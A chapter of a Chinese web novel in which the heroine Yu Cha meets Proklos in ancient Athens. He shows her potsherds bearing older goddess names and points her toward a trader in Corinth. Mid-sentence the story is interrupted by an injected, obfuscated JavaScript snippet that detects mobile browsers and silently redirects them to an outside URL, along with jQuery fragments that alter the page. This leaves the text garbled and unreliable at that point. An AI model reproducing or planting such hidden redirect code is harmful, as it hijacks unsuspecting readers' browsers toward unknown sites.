46.普罗克洛斯的线索
作品:《寒衣节的通道》 狄奥多拉的马车在陶器区狭窄的街道上缓缓穿行。余茶靠坐在车的一角,左腿在颠簸中出现隐隐痛感。雅典午后的喧嚣——陶工的转盘声、铁匠的锤打声、商贩的叫卖声,混杂着驴子的嘶鸣,从四面八方涌来。
利诺斯走了三天。那块刻着太阳与波浪的陶片被她收在怀里,贴着那枚铜印章,沉甸甸的。
“在想什么?”狄奥多拉的声音从旁边传来。
余茶收回目光:“在想那个叫普罗克洛斯的人。他说他在雅典还要待半个月。”
“所以你打算这几天去找他?”
“已经找了。”余茶说,“昨天他派人送信来,约我今天下午见面。”
狄奥多拉挑起眉毛,却没有问信上写了什么。她只是点了点头,然后靠在软垫上,看着掠过的街景。
马车停在一座不起眼的宅邸前。狄奥多拉没有下车,只是对余茶说:“我傍晚来接你。别惹麻烦。”
余茶下了车,推开院门。院子里种着几株无花果树,树枝下摆着一张石桌,桌上放着两杯葡萄酒。普罗克洛斯坐在石桌旁,见她进来,微微颔首。
“你来了。”
余茶在他对面坐下。普罗克洛斯把那块刻有线形文字A变体的陶片推到桌中央,又从怀中取出另一块——更大一些,上面的符号也更完整。
“这是我二十年来找到的。”他说,“一共七块。每一块上都刻着同样的东西——名字。”
余茶看着那些符号,心跳微微加快。她认得其中几个——在克里特的档案馆里,在星之眼的石室里,那些灌入她脑海的知识碎片中,有过这些符号的影子。
“什么名字?”
普罗克洛斯喝了口葡萄酒,慢慢说:“女神的名字。”他说,“但不是我们现在知道的名字,是更古老的——在被改写之前。”
他指着陶片上的一串符号:“这个,后来变成了赫拉。这个,变成了得墨忒耳。这个,变成了珀耳塞福涅。还有这个——”他的手指停在一个被圆圈包围的符号上,“这个后来被分成了三个。三个女神,分管天、地、冥界。原本她们是一个。”
余茶没有说话。
普罗克洛斯看着她:“你知道我在萨摩斯挖这些东西的时候,发现了什么吗?每一块陶片出土的地方,都曾经有过古老的神庙。那些神庙后来被拆了,上面盖了新的庙——献给奥林匹斯的神。但不是简单的拆,是把原来的神像砸碎,把原来的名字抹掉,然后写上新的名字。”
“证据呢?”
普罗克洛斯微微一笑,从怀中取出一卷破旧的莎草纸。他展开,上面是一幅临摹的浮雕——一个女人坐在宝座上,两旁是狮子,头顶是星空,脚下是大地。但她的脸被凿掉了。
“这是我在一个洞穴深处找到的。”他说,“那些人把她的脸凿掉,却没有来得及刻上新的脸。所以,她还保持着原来的样子——无脸的女神。”
余茶盯着那幅临摹,手指微缩。
她又想起那些灌入脑海的古老记忆。母神文明——被篡改,被分裂,被遗忘。
“你为什么要找这些?”她问。
普罗克洛斯看着她,目光深邃。
“因为我是一个祭司。”他说,“不是奥林匹斯神的祭司,是更古老的。我的家族从萨摩斯来,世代守护着一座废墟。废墟里什么都没有,只有一块石碑,上面刻着这句话——”
他顿了顿,缓缓说出那句希腊语:
“‘当女神的名字被遗忘,大地将沉默。’”
余茶沉默了。
普罗克洛斯摆弄着那些陶片,看着她。
“你认识这些符号。”他肯定地说,“就像一个人认识自己的母语。”
余茶没有否认。
“你是谁?”
余茶看着陶片,微微叹了口气。
“一个从很远地方来的人。”她说,“一个被卷进这些事的人。”
普罗克洛斯点了点头,没有追问。
“你想去东方。”他说,“是因为符号指向东方吗,但你知道怎么去吗?”
余茶摇头。
“我不知道。但我知道,这是必须去的旅程,这些被遗忘的名字不能永远埋在地下。”
普罗克洛斯站起身,走到无花果树下。阳光透过灰褐色的树枝,在他脸上投下斑驳的光影。
“我可以帮你。”他说,“我认识一个人,他去过很远的地方——比波斯还远,比埃及还远。但他不在雅典。”
“在哪儿?”
“科林斯。”普罗克洛斯说,“他叫克珊托斯,是一个商人。他每年夏天会到科林斯港,卖掉他从东方带来的货物。如果你想去东方,他是唯一能告诉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231005|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你路的人。”
余茶站起身。
“我该怎么找他?”
“七月底,科林斯港的东侧码头,有一艘紫色的船。”普罗克洛斯说,“你去找那艘船。”
余茶点了点头。
“谢谢。”
普罗克洛斯看着她,眼中闪过一丝复杂的情绪。
“不用谢我。”他说,“我也想知道那些符号的意思。等你找到答案,回来告诉我,家族上百年究竟在守护什么?”
余茶没有回答。她只是把那块刻着太阳与波浪的陶片从怀里取出,放在桌上。
“这个,你可以看看。”
普罗克洛斯看着那块陶片,很惊喜:“它们很像。”
余茶点点头:“同一个来源。”
“什么意思呢?”
“不确切,和母神文明有关。”
普罗克洛斯直起身来,把自己那块小陶片推向余茶。
“你暂时拿着吧。”
“这么珍贵,你信我?”
“你需要答案。我也需要。我们各取所需。”
余茶笑了笑,收起陶片,转身向院门走去。
普罗克洛斯的声音从身后传来:
“余茶——你走之前,有一件事要记住。”
余茶停下脚步。
“雅典的法律对偷窃很严。”他说,“特别是对外邦人。如果被控偷窃,要罚双倍的钱,如果还不起,就要坐牢,直到有人替你付清。”
余茶转过身,疑惑地看着他。
“为什么告诉我这个?”
普罗克洛斯微微一笑。
“因为你是个外邦人,还跟着狄奥多拉,太显眼了,而陶片也可能会成为引子。雅典城里,有人专门盯着外邦人。”
余茶黑眸转了转,然后颔首。
“谢谢。”
她推开门,走进夕阳中的雅典街道。
阳光从浓烈变成温柔。街上人来人往,有人在讨价还价,有人在搬运货物,有人还在墙角晒残阳。余茶一瘸一拐地走着,手伸进怀里,摸了摸那枚铜印章。
猫头鹰的眼睛在指腹下微微凸起。
远处,狄奥多拉的马车正在巷口等她。
她加快脚步。
身后,无花果树的影子落在院墙上,随着夕阳的风,轻轻摇晃。

